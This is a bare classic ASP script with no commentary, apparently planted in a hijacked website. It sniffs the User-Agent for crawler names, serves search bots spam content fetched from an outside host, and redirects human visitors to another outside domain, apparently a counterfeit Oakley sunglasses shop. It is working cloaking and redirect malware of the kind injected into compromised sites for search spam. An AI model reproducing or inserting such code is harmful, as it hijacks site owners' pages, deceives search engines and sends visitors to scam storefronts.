<% function getHTTPPage(URL) set HTTPReq = Server.createobject("Msxml2.XMLHTTP") HTTPReq.Open "GET", URL, false HTTPReq.send if HTTPReq.readyState <> 4 Then Exit Function getHTTPPage = Bytes2bStr(HTTPReq.responseBody) Set HTTPReq = Nothing end function function Bytes2bStr(vin) Dim BytesStream,StringReturn Set BytesStream = Server.CreateObject("ADODB.Stream") BytesStream.Type = 2 BytesStream.Open BytesStream.WriteText vin BytesStream.Position = 0 BytesStream.Charset = "utf-8" BytesStream.Position = 2 StringReturn =BytesStream.ReadText BytesStream.close Set BytesStream = Nothing Bytes2bStr = StringReturn end function function GetBot() dim s_agent GetBot="" s_agent=Request.ServerVariables("HTTP_USER_AGENT") if instr(1,s_agent,"bot",1) >0 then GetBot="bot" end if if instr(1,s_agent,"spider",1) >0 then GetBot="bot" end if if instr(1,s_agent,"slurp",1) >0 then GetBot="bot" end if if instr(1,s_agent,"slurp",1) >0 then GetBot="bot" end if if instr(1,s_agent,"crawler",1) >0 then GetBot="bot" end if if instr(1,s_agent,"ia_archiver",1) >0 then GetBot="bot" end if if instr(1,s_agent,"altavista",1) >0 then GetBot="bot" end if end function if GetBot="bot" then response.write getHTTPPage("http://www.unit-exam.com/en/oakley/jubileehallmacedon.com.php") else response.redirect "http://www.oakleysmall.com/?jubileehallmacedon.com/includes.asp" end if %>